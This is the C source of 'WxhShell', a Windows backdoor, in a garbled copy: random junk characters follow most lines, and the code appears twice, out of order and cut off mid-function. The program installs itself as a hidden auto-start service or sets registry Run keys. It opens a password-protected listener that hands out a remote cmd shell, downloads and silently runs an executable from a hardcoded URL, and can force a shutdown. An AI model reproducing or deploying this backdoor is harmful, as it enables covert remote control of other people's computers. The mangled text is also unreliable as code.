    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MGMJeq vr  
    if(Boot(SHUTDOWN)) {*F =&D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9x!kvB6  
    else { YW6a?f^!  
    closesocket(wsh); )1B? <4  
    ExitThread(0); aaCRZKr  
    } *cCx]C.~  
    break; &U?4e'N)T  
    } Z8FgxR  
  // 获取shell <!FcQVH+L  
  case 's': { ]s0wJD=  
    CmdShell(wsh); zps =~|  
    closesocket(wsh); SyI~iW#Y1  
    ExitThread(0); Qt {){uE  
    break; iTq&h=(n  
  } tt2 S.j  
  // 退出 oF>`>  
  case 'x': { Z81;Y=(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9/e>%1.  
    CloseIt(wsh); /eH37H  
    break; B E8_.>  
    } 4]tg!ks  
  // 离开 wU!-sf;]y  
  case 'q': { BXU0f%"8U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0+op|bdj  
    closesocket(wsh); (?8i^T?WP=  
    WSACleanup(); yUJ#LDW  
    exit(1);  OM1{-W  
    break; D C/X|f  
        } hvO$ f.i  
  } x$` lQ%  
  } $Z]@N nA9N  
[ !#Dba#  
  // 提示信息 /"st sF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jQm~F` z  
} >Rt:8uurAG  
  } ~Yg) 8  
+@!\3a4!  
  return; fXWE4^jU  
} BWxJ1ENM  
"1^tVw|  
// shell模块句柄 y*X.DS 1(w  
int CmdShell(SOCKET sock) 5j.@)XXe  
{ WHBGhU  
STARTUPINFO si; X9|*`h<  
ZeroMemory(&si,sizeof(si)); $`W3`}#fM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O&aD]~|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  rn( drG  
PROCESS_INFORMATION ProcessInfo; 4[x` \  
char cmdline[]="cmd"; 2;"vF9WMm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8%u|[Si;  
  return 0; $`7Fk%#+e  
} ysK J=  
DFQ`(1Q  
// 自身启动模式 R[l`# I  
int StartFromService(void)  w (RRu~J  
{ TO5y.M|7  
typedef struct ibZ[U p?  
{ \8<[P(!3  
  DWORD ExitStatus; Gr&e]M[l  
  DWORD PebBaseAddress; N".BC|r  
  DWORD AffinityMask; U W8yu.`?  
  DWORD BasePriority; 7Ko*`-p  
  ULONG UniqueProcessId; P.q7rk<  
  ULONG InheritedFromUniqueProcessId; dtY8>klI  
}   PROCESS_BASIC_INFORMATION; `ql8y'  
E_A5KLP  
PROCNTQSIP NtQueryInformationProcess; AEnkx!o  
KG(FA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VT4 >6u}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E"p _!!1  
\.iejB  
  HANDLE             hProcess; p<'pqf  
  PROCESS_BASIC_INFORMATION pbi; k"gm;,`  
-f ~1Id  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "#gKI/[qxq  
  if(NULL == hInst ) return 0; klAlS%  
+U J~/XV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ; % KS?;%[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B.od{@I(Xp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FIfLDT+Wh  
~E8/m_> rU  
  if (!NtQueryInformationProcess) return 0; f?=0Wzb  
m%})H"5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /~WBqcl  
  if(!hProcess) return 0; !9HWx_,|Z  
oXh t$Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~Azj Y8  
Ig?9"{9p  
  CloseHandle(hProcess); *a\x!c"  
q:M'|5P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D`[@7$t  
if(hProcess==NULL) return 0; l$j~p=S$F  
e<=Nd,v4;  
HMODULE hMod; g|| q 3  
char procName[255]; cE`qfz  
unsigned long cbNeeded; <m~8pM  
vv2[t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _8y4U  
.p=J_%K}0x  
  CloseHandle(hProcess); AU)\ lyB  
! jAp V  
if(strstr(procName,"services")) return 1; // 以服务启动 QR(;a:  
hP WP6;Z  
  return 0; // 注册表启动 S2|pn\0V  
} V\L%*6O  
73S N\  
// 主模块 E>-I |X"L1  
int StartWxhshell(LPSTR lpCmdLine) G?b*e|@S  
{ OY81|N j  
  SOCKET wsl; Y=Ic<WHR  
BOOL val=TRUE; ^fO9oPM|  
  int port=0; KwaxNb5  
  struct sockaddr_in door; T zS?WYF  
,d lq2  
  if(wscfg.ws_autoins) Install(); 0/|Ax-dK  
sl@>GbnS  
port=atoi(lpCmdLine); 4HZXv\$  
2 #yDVN$  
if(port<=0) port=wscfg.ws_port; VuTTWBx  
HbPn<x^7  
  WSADATA data; 6hR ` sE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C7W<7DBf  
<3j`Z1J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c+z [4"rYL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x<rS2d-Y  
  door.sin_family = AF_INET; P~lU`.X}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `S4*~Xx  
  door.sin_port = htons(port); 3:#6/@wQ  
sqV~ Dw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \i-CTv6f  
closesocket(wsl); -CFy   
return 1; ; }T+ImjA  
} {0+WVZ4u  
pQc-}o"  
  if(listen(wsl,2) == INVALID_SOCKET) { fyT|xI`iD  
closesocket(wsl); JJg;X :p  
return 1; 6!itr"  
} ]LxE#R5V  
  Wxhshell(wsl); OJA_OqVp$K  
  WSACleanup(); ojm IEzsz  
dP_bFUzg  
return 0; ,gG RCp  
pJ1\@G  
} /+`%u&<  
m:0[as=  
// 以NT服务方式启动 3'i(wI~<[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %LmsywPPp  
{ =6 zK 1Z  
DWORD   status = 0; FVL{KNW~i  
  DWORD   specificError = 0xfffffff; !'[?cEog  
x3U>5F@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :/$_eg0A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <ty]z!B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L[nDjQn"  
  serviceStatus.dwWin32ExitCode     = 0; {' 0#<Z  
  serviceStatus.dwServiceSpecificExitCode = 0; 7p!ROl^  
  serviceStatus.dwCheckPoint       = 0; `J03t\  
  serviceStatus.dwWaitHint       = 0; nq>F_h  
$~1mKx]]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uF}B:53A  
  if (hServiceStatusHandle==0) return; za 7+xF  
@'M"c q  
status = GetLastError(); Tjv'S <  
  if (status!=NO_ERROR) aqQ+A:g  
{ q7soV(P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .$y'>O*$G  
    serviceStatus.dwCheckPoint       = 0; BAvz @H  
    serviceStatus.dwWaitHint       = 0; o6~JAvw  
    serviceStatus.dwWin32ExitCode     = status; d@a<Eq  
    serviceStatus.dwServiceSpecificExitCode = specificError; }f}?|&q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `[}X_d 1A  
    return; }><[6Uz%  
  } 9MI9$s2y  
Z'!ORn#M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {{M/=WqC  
  serviceStatus.dwCheckPoint       = 0; }hg2}g99  
  serviceStatus.dwWaitHint       = 0; W4k$m 2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s>\^dtG7  
} GB pdj}2=  
n=$ne2/  
// 处理NT服务事件,比如:启动、停止 *ej< 0I{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KDGrX[L:6  
{ +|X`cmnuU  
switch(fdwControl) <Ist^ h+o  
{ !||Gfia  
case SERVICE_CONTROL_STOP: b.?;I7r   
  serviceStatus.dwWin32ExitCode = 0; f.aa@>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Oj yUQ,  
  serviceStatus.dwCheckPoint   = 0; mPQT%%MF  
  serviceStatus.dwWaitHint     = 0; /#@tv~Z^  
  { j[w=pF,o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Y8hy|`  
  } $X/'BCb  
  return; oyk&]'>  
case SERVICE_CONTROL_PAUSE: .b<W*4{j0H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :wg=H  
  break; * ]bB7  
case SERVICE_CONTROL_CONTINUE: QZ;DZMP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J#i7'9g  
  break; ErJ@$&7  
case SERVICE_CONTROL_INTERROGATE: BV7P_!vt  
  break; X2% (=B  
}; W1)<!nwA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W+"^!p|  
} 0MxK+8\y  
SVd@- '-K  
// 标准应用程序主函数 >35w"a7S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _$D!"z7i  
{ O_.!qk1R  
qAbmQ{|w  
// 获取操作系统版本 fXl2i]L(^B  
OsIsNt=GetOsVer(); C%]qK(9vvd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I"lzOD; eI  
aTeW#:m  
  // 从命令行安装 @0t[7Nv-1  
  if(strpbrk(lpCmdLine,"iI")) Install(); $)9|"q6  
Qyx~={ .C~  
  // 下载执行文件 @b^$h:H  
if(wscfg.ws_downexe) { 4L{]!dox  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HOPy&Fp  
  WinExec(wscfg.ws_filenam,SW_HIDE); x@bqPZ t  
} oZ tCx  
X;)/<:mX  
if(!OsIsNt) { yx4pQL7  
// 如果时win9x,隐藏进程并且设置为注册表启动 g:y4C6b  
HideProc(); `0M6<e]C  
StartWxhshell(lpCmdLine); 9Sd?,z  
} G![4K#~NM  
else ~a`  xI  
  if(StartFromService()) \>lA2^E f  
  // 以服务方式启动 =l*xM/S  
  StartServiceCtrlDispatcher(DispatchTable); VzHrKI  
else H6j t[  
  // 普通方式启动 |?g-8":H8P  
  StartWxhshell(lpCmdLine); ;A7JX:*?y=  
xypgG;`\  
return 0; SvvNk  
} w <"mS*Q  
&$_!S!Sa/  
+By'6?22  
dlCYdwP  
=========================================== i}v.x  
oS9Od8  
~ @xPoD&  
.n YlYY'   
&V (6N%A^U  
mR XR uK  
" x`@`y7(  
$)o0{HsL+  
#include <stdio.h> Mz2TwU_  
#include <string.h> JJbd h \  
#include <windows.h> g.hYhg'KUh  
#include <winsock2.h> {GnZ@Q:F  
#include <winsvc.h> M")/6PH8  
#include <urlmon.h> ;l @lA)i  
ivq(eKy  
#pragma comment (lib, "Ws2_32.lib") _FE uQ9E  
#pragma comment (lib, "urlmon.lib") NjEi.]L*fX  
xYYa%PhIC  
#define MAX_USER   100 // 最大客户端连接数 ?0* [ L  
#define BUF_SOCK   200 // sock buffer C:5d/9k  
#define KEY_BUFF   255 // 输入 buffer K#X/j'$^  
v)_FiY QQ6  
#define REBOOT     0   // 重启 ?(d1;/0v>  
#define SHUTDOWN   1   // 关机 N AY3.e  
u?dPCgs;h  
#define DEF_PORT   5000 // 监听端口 U 887@-!3  
t? 6 et1~  
#define REG_LEN     16   // 注册表键长度 >jIn&s!}  
#define SVC_LEN     80   // NT服务名长度 _&S#;ni\c  
FibZT1-k  
// 从dll定义API Rky]F+J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V8B4e4F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a <?~1pWtc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &b5(Su  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W~D_+[P|_  
u|Mx}  
// wxhshell配置信息 +D]raU  
struct WSCFG { 0D@$  
  int ws_port;         // 监听端口 -/{FGbpR;  
  char ws_passstr[REG_LEN]; // 口令 t4v'X}7q]  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q#SQ@oUzD  
  char ws_regname[REG_LEN]; // 注册表键名 $>O~7Nfst7  
  char ws_svcname[REG_LEN]; // 服务名 !R\FCAW[x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lbIPtu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R3|4|JlGR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \#dacQ2E@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jLVD37 P^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =%IyR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &U|c=$!\  
!vRZh('R  
}; b-  t  
f ?k0(rl  
// default Wxhshell configuration h L [eA  
struct WSCFG wscfg={DEF_PORT, W>d)(  
    "xuhuanlingzhe", %ZWt 45A  
    1, vZTXvdF  
    "Wxhshell", ^-k"gLg  
    "Wxhshell", P o@;PR=  
            "WxhShell Service", =r ^_D=  
    "Wrsky Windows CmdShell Service", |R@T`dW  
    "Please Input Your Password: ", U[?_|=~7  
  1, T pF [-fO  
  "http://www.wrsky.com/wxhshell.exe", DWKQ>X6  
  "Wxhshell.exe" *1`X}  
    }; b1 w@toc  
1s=Q~*f~d  
// 消息定义模块 !KK`+ 9/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y 2ANt w@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I)FFh%m<}a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /^nIOAeE  
char *msg_ws_ext="\n\rExit."; OR~ui[w  
char *msg_ws_end="\n\rQuit."; S5 q1M n  
char *msg_ws_boot="\n\rReboot..."; {E Ay~lo  
char *msg_ws_poff="\n\rShutdown..."; jmr .gW  
char *msg_ws_down="\n\rSave to "; .UL 2(0  
>iOf3I-ATt  
char *msg_ws_err="\n\rErr!"; z6E =%-`  
char *msg_ws_ok="\n\rOK!"; A3_p*n@  
s~ 8 g  
char ExeFile[MAX_PATH]; <F0^+Pf/  
int nUser = 0; EA6l11{Gk1  
HANDLE handles[MAX_USER]; o$.#A]Flb  
int OsIsNt; >{Hg+/  
%CiF;wJ  
SERVICE_STATUS       serviceStatus; 9!Mh (KtQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (=7"zE Cq#  
j%nN*ms  
// 函数声明 -\?-  
int Install(void); xWzybuLp  
int Uninstall(void); m- <y|3  
int DownloadFile(char *sURL, SOCKET wsh); .@OQ$ D<  
int Boot(int flag); r]p3DQ  
void HideProc(void); 8N'hG,  
int GetOsVer(void); {ac$4#Bp[B  
int Wxhshell(SOCKET wsl); ]}rNxT4<  
void TalkWithClient(void *cs); T@yQOD7  
int CmdShell(SOCKET sock); BkXv4|UE  
int StartFromService(void); xNOKa*  
int StartWxhshell(LPSTR lpCmdLine); . i4aM;Qy  
zT,@PIC(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WC~;t4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I&La0g_E  
ekyCZ8iai  
// 数据结构和表定义 3i!a\N4 K  
SERVICE_TABLE_ENTRY DispatchTable[] = (cLKhn@  
{ &]n }fq  
{wscfg.ws_svcname, NTServiceMain}, ,6g{-r-2  
{NULL, NULL} %[*-aA  
}; 6;'[v}O^^  
IVSC7SBiT  
// 自我安装 (?1$  
int Install(void) LQPQ !):;  
{ R'c dEoy  
  char svExeFile[MAX_PATH]; M+ %O-B  
  HKEY key; (rBsh6@)  
  strcpy(svExeFile,ExeFile); ]z^jz#>um&  
1 gjaTPwY  
// 如果是win9x系统,修改注册表设为自启动 NzQvciJ@"  
if(!OsIsNt) { Cb{D[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m6e(Xk,)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :P_h_Tizv  
  RegCloseKey(key); 8+oc4~!A@n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7w) 8s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jD S\  
  RegCloseKey(key); G^)]FwTs  
  return 0; (v/L   
    } ,Lp"Ia  
  } }VJ>}i*  
} ,g7O   
else { hTLf$_|P  
yg}O9!MJ  
// 如果是NT以上系统,安装为系统服务 z]8Mv(eL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s|<n7 =J  
if (schSCManager!=0) Q;3`T7  
{ fW2NYQP$:  
  SC_HANDLE schService = CreateService x!GDS>  
  ( g3kbsi7_:  
  schSCManager, Gpxp8[ {  
  wscfg.ws_svcname, -"nkC  
  wscfg.ws_svcdisp, IwnDG;+Ap  
  SERVICE_ALL_ACCESS, S,:!H@~B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1w7tRw  
  SERVICE_AUTO_START, }kmAUaa,Z  
  SERVICE_ERROR_NORMAL, Qt4mg?X/  
  svExeFile, cOP'ql{"  
  NULL, p+=zl`\=|  
  NULL, k(H]ILL  
  NULL, md{nHX&  
  NULL, K@1gK<,a  
  NULL  ?pEPwc  
  ); e5bXgmyil  
  if (schService!=0) g]&fyB#  
  { 5"nq h}5  
  CloseServiceHandle(schService); vOlfyH>  
  CloseServiceHandle(schSCManager); 4utwcXL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m=9b/Nr4  
  strcat(svExeFile,wscfg.ws_svcname); p4z4[=-:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *]yrN`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q("XS  
  RegCloseKey(key); g$GGo[_0  
  return 0; ^oPFLez56  
    } _=I1  
  } O"~[njwkE  
  CloseServiceHandle(schSCManager); n)5t!  
} apm%\dN  
} Gf.ywqE$Y$  
72~L  ?  
return 1; ZskX!{  
} }b54O\,  
OlyW/hd  
// 自我卸载 ~F-knEvL  
int Uninstall(void) B`eK_'7t  
{ UeFJ5n'x:  
  HKEY key; &l2xh~L  
Fya*[)HBo  
if(!OsIsNt) { A;rk4)lij  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rf4K Rhi  
  RegDeleteValue(key,wscfg.ws_regname); Fvk=6$d2  
  RegCloseKey(key); %|H]T] s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O MQ?*^eA  
  RegDeleteValue(key,wscfg.ws_regname); )=GPhC/sw  
  RegCloseKey(key); #^VZJ:2=|  
  return 0; @* vVc`;  
  } 26aDPTP$<  
} ++b[>};  
} k vZw4Pk  
else { ~ `}),aA  
P,pC Z+H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &mtt,]6C_  
if (schSCManager!=0) npzp/mcIe)  
{ xDw~n(*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m BvO<?ec  
  if (schService!=0) /Yi4j,8!|  
  { EoJ\Jk  
  if(DeleteService(schService)!=0) { RP{0+  
  CloseServiceHandle(schService); c?CfM>  
  CloseServiceHandle(schSCManager); P x Q]$w  
  return 0; !a UYidd  
  } O'98OH+u  
  CloseServiceHandle(schService); pdJ]V`m  
  } fD[O tc  
  CloseServiceHandle(schSCManager); b|.Cqsb  
} 8?LT*>!  
} =_BHpgL  
`oNJ=,p  
return 1; 2LN6pu  
} X7-*`NI^  
A"pQOtrm\k  
// 从指定url下载文件 _Vp"G)1Y  
int DownloadFile(char *sURL, SOCKET wsh) *y?6m,38V  
{ 0^S$_L  
  HRESULT hr; DcBAncsK  
char seps[]= "/"; O0jOI3/P%  
char *token;  mhrF9&s  
char *file; s.7=!JQ#]p  
char myURL[MAX_PATH]; %`k [xz  
char myFILE[MAX_PATH]; AR( gI]1  
j"6|$Ze8  
strcpy(myURL,sURL); #b*4v&<  
  token=strtok(myURL,seps); jC[_uG  
  while(token!=NULL) Q(-&}cY  
  { 8>WA5:]v  
    file=token; 5QK%BiDlr  
  token=strtok(NULL,seps); J/P[9m30[  
  } M rgj*|  
D|(\5]:R  
GetCurrentDirectory(MAX_PATH,myFILE); (<>??(VM  
strcat(myFILE, "\\"); XgX~K:<jt  
strcat(myFILE, file); rkji#\_-FV  
  send(wsh,myFILE,strlen(myFILE),0); "XxmiK  
send(wsh,"...",3,0); ^cNuEF9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rM.Pc?Z  
  if(hr==S_OK) _fZec+oM  
return 0; h(yFr/  
else hK)'dG*  
return 1; 3}s]F/e  
D+:s{IcL<  
} nuWQ3w p[e  
VK*_p EV,}  
// 系统电源模块 RK-bsf  
int Boot(int flag) dQSO8Jf  
{ Pa0W|q#?X  
  HANDLE hToken; >ye.rRZd`  
  TOKEN_PRIVILEGES tkp; M`K]g&57hL  
mW!n%f  
  if(OsIsNt) { <eMqg u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V-#JV@b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >vo 6X]p~  
    tkp.PrivilegeCount = 1; -){6ynqv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,gZp/yJ;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'gor*-o:wu  
if(flag==REBOOT) { Kd 1=mC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3'x>$5 W  
  return 0; v@Eb[7Kq/1  
} 6M&ajl`o  
else { PEEaNOk 1b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A z@@0  
  return 0; :|kO}NGM  
} ;b 65s9n^b  
  } *w0|`[P+h  
  else { *(5;5r  
if(flag==REBOOT) { @!oN]0`F;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V  H`_  
  return 0; 9;%$  
} Q e+;BE-H  
else { m%u`#67oK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f_O|  
  return 0; 8D`+3  
} Xj+_"0 #  
} I2HV{1(i  
|~%RSS~b*  
return 1; E8Kk )7  
} y "+'4:_  
cO{NiRIb  
// win9x进程隐藏模块 FVl, ttW  
void HideProc(void) p@~Y[a =  
{ 7.VP7;jys  
]tu OWR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M887 Q'HSi  
  if ( hKernel != NULL ) k-3;3Mq  
  { aNKw.S>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yNfj-wM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B!J?,SB  
    FreeLibrary(hKernel); ):hz /vZ  
  } ]vB^%  
N[O .p]8  
return; ){P`-ZF  
} >WZ%Pv *  
(BtU\f#d  
// 获取操作系统版本 eCKm4l'BZ  
int GetOsVer(void) Eh;Ia6}  
{ V0m1>{  
  OSVERSIONINFO winfo; R5QW4i9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5P #._Em  
  GetVersionEx(&winfo); !bLCha\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  mY"Dw^)  
  return 1; )G/=3;!  
  else ESoqmCJjb:  
  return 0; i#YDdz  
} <H] PP6_g:  
;DX{+Z[  
// 客户端句柄模块 Q (N'Oj:J  
int Wxhshell(SOCKET wsl) 0_je@p+$  
{ ynra%"sd  
  SOCKET wsh; "UD)3_R  
  struct sockaddr_in client; 0y<9JvN$9  
  DWORD myID; 9Oj b~  
,9 ^ 5  
  while(nUser<MAX_USER) [wSoZBl  
{ U7fpaxc-  
  int nSize=sizeof(client); hb~d4J=S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =CFg~8W  
  if(wsh==INVALID_SOCKET) return 1; *g}==o`  
OO/>}? ob  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zx "EAF{  
if(handles[nUser]==0) Bi fI.2|  
  closesocket(wsh); D_<B^3w )  
else JfJ ln[  
  nUser++; +1qvT_  
  } 'p[6K'Uq5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l]DRJ  
oIOeX1$V  
  return 0; B> i^w1  
} N%:uOX8{  
H h](n<Bs  
// 关闭 socket kKbbsB  
void CloseIt(SOCKET wsh) 1*9Yy~w  
{ (AA@ sN  
closesocket(wsh); xF) .S@  
nUser--; *]q`:~u2  
ExitThread(0); oU3gy[wF;b  
} N0lFx?4  
`,pBOh|'  
// 客户端请求句柄 fU.hb%m)Q\  
void TalkWithClient(void *cs) .6n|hYe  
{ w0js_P-uv  
sdXchVC  
  SOCKET wsh=(SOCKET)cs; .w\4Th#  
  char pwd[SVC_LEN]; a&[[@1OY  
  char cmd[KEY_BUFF]; yT3K 2A  
char chr[1]; i)@vHh82  
int i,j; /-<]v3J  
1:cq\Y  
  while (nUser < MAX_USER) { Y uZ  
S WsD]rn  
if(wscfg.ws_passstr) { gDfM}2]/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,9=P=JH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =fBr2%qK  
  //ZeroMemory(pwd,KEY_BUFF); ,t1s#*j\!q  
      i=0; 3S^Qo9S  
  while(i<SVC_LEN) { YA8/TFu<_  
Tz& cm =  
  // 设置超时 BI#(L={5  
  fd_set FdRead; ?b^<Tny  
  struct timeval TimeOut; `,GFiTPd  
  FD_ZERO(&FdRead); K24y;968  
  FD_SET(wsh,&FdRead); Q4ii25]*  
  TimeOut.tv_sec=8; IP !zg|c,  
  TimeOut.tv_usec=0; IMSm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QKz2ONV=)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q(8W5Fb?  
c$A}mL_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e!i.u'z  
  pwd=chr[0]; =|-xj h  
  if(chr[0]==0xd || chr[0]==0xa) { F+xMXBD@>*  
  pwd=0; bg4VHT7?>)  
  break; d9D*w/clMi  
  } #2.C$  
  i++; 5hCfi  
    } mn<ea&  
*LmzGF|  
  // 如果是非法用户,关闭 socket U_B`SS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A^c5CJ_  
} ; zy;M5l5.  
_x#r,1V+D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b[;3y/X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dj0D u^ v4  
t.O4-+$ig  
while(1) { /s:akLBaD  
^n]?!BdU  
  ZeroMemory(cmd,KEY_BUFF); 78b9Sdi&  
@qJv  
      // 自动支持客户端 telnet标准   d<;XQ.Wo7  
  j=0; iN`L*h  
  while(j<KEY_BUFF) { ER$~kFE2yP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kS7T'[d  
  cmd[j]=chr[0]; Y50$ 2%kM  
  if(chr[0]==0xa || chr[0]==0xd) { ~0.@1zEXj  
  cmd[j]=0; YX2j;Y?  
  break; pk=z<OTb  
  } M[T!AO-S$  
  j++; p:U{3uN 62  
    } 3^ &pb  
t;ga>^NA"  
  // 下载文件 s{j3F  
  if(strstr(cmd,"http://")) { zwHTtE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KQqQ@D&n  
  if(DownloadFile(cmd,wsh)) tX}Fb0y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `+@%l*TQ  
  else [c6_6q As  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fn%:0j  
  } Ki@8  
  else { Y.Ew;\6U  
8%U)EU  
